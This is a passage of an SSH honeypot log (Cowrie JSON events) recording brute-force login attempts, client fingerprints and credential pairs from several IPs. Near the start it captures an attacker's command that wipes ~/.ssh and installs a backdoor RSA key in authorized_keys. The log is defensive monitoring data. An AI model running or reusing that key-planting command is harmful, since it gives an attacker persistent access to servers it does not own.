{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:34.564304Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:34.567141Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:34.819807Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:34.823532Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":48632,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4dafe7bf6fc","protocol":"ssh","message":"New connection: 61.245.10.43:48632 (10.17.0.5:22) [session: b4dafe7bf6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:35.069850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:35.074569Z","src_ip":"61.245.10.43","session":"b4dafe7bf6fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:35.324968Z","src_ip":"61.245.10.43","session":"b4dafe7bf6fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:36.363626Z","src_ip":"61.245.10.43","session":"b4dafe7bf6fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:37.619366Z","src_ip":"61.245.10.43","session":"b4dafe7bf6fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":48638,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cfd40e2cb11","protocol":"ssh","message":"New connection: 61.245.10.43:48638 (10.17.0.5:22) [session: 0cfd40e2cb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:37.874487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:37.879697Z","src_ip":"61.245.10.43","session":"0cfd40e2cb11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:38.136882Z","src_ip":"61.245.10.43","session":"0cfd40e2cb11","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:39.193810Z","src_ip":"61.245.10.43","session":"0cfd40e2cb11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:39.446377Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:39.450948Z","src_ip":"61.245.10.43","session":"0cfd40e2cb11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":53418,"dst_ip":"159.203.135.109","dst_port":22,"session":"023a2d92fded","protocol":"ssh","message":"New connection: 43.155.21.198:53418 (159.203.135.109:22) [session: 023a2d92fded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:06.033549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:06.038065Z","src_ip":"43.155.21.198","session":"023a2d92fded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:06.245032Z","src_ip":"43.155.21.198","session":"023a2d92fded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:07.101280Z","src_ip":"43.155.21.198","session":"023a2d92fded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:08.309794Z","src_ip":"43.155.21.198","session":"023a2d92fded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":33164,"dst_ip":"10.17.0.5","dst_port":22,"session":"0750e4e79eb1","protocol":"ssh","message":"New connection: 177.11.196.84:33164 (10.17.0.5:22) [session: 0750e4e79eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:20.711599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:20.715259Z","src_ip":"177.11.196.84","session":"0750e4e79eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:20.850116Z","src_ip":"177.11.196.84","session":"0750e4e79eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lab","password":"password","message":"login attempt [lab/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:21.418087Z","src_ip":"177.11.196.84","session":"0750e4e79eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:26:22.554097Z","src_ip":"177.11.196.84","session":"0750e4e79eb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50572,"dst_ip":"10.17.0.5","dst_port":22,"session":"0270dc191cd1","protocol":"ssh","message":"New connection: 2.57.122.208:50572 (10.17.0.5:22) [session: 0270dc191cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:27:06.225612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:27:06.338340Z","src_ip":"2.57.122.208","session":"0270dc191cd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:27:06.340770Z","src_ip":"2.57.122.208","session":"0270dc191cd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:27:06.881970Z","src_ip":"2.57.122.208","session":"0270dc191cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:27:07.983605Z","src_ip":"2.57.122.208","session":"0270dc191cd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":42130,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d8b551599e0","protocol":"ssh","message":"New connection: 43.155.21.198:42130 (159.203.135.109:22) [session: 3d8b551599e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:27:59.099879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:27:59.104682Z","src_ip":"43.155.21.198","session":"3d8b551599e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:27:59.303871Z","src_ip":"43.155.21.198","session":"3d8b551599e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intel","password":"Intel123!","message":"login attempt [intel/Intel123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:28:00.131925Z","src_ip":"43.155.21.198","session":"3d8b551599e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:28:01.333941Z","src_ip":"43.155.21.198","session":"3d8b551599e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60880,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a85b9b21d0","protocol":"ssh","message":"New connection: 2.57.122.208:60880 (10.17.0.5:22) [session: e4a85b9b21d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:16.763313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:16.767210Z","src_ip":"2.57.122.208","session":"e4a85b9b21d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:16.874226Z","src_ip":"2.57.122.208","session":"e4a85b9b21d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:17.359124Z","src_ip":"2.57.122.208","session":"e4a85b9b21d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:18.536394Z","src_ip":"2.57.122.208","session":"e4a85b9b21d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":34810,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f729fee4065","protocol":"ssh","message":"New connection: 43.155.21.198:34810 (159.203.135.109:22) [session: 8f729fee4065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:55.598881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:29:55.603405Z","src_ip":"43.155.21.198","session":"8f729fee4065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@o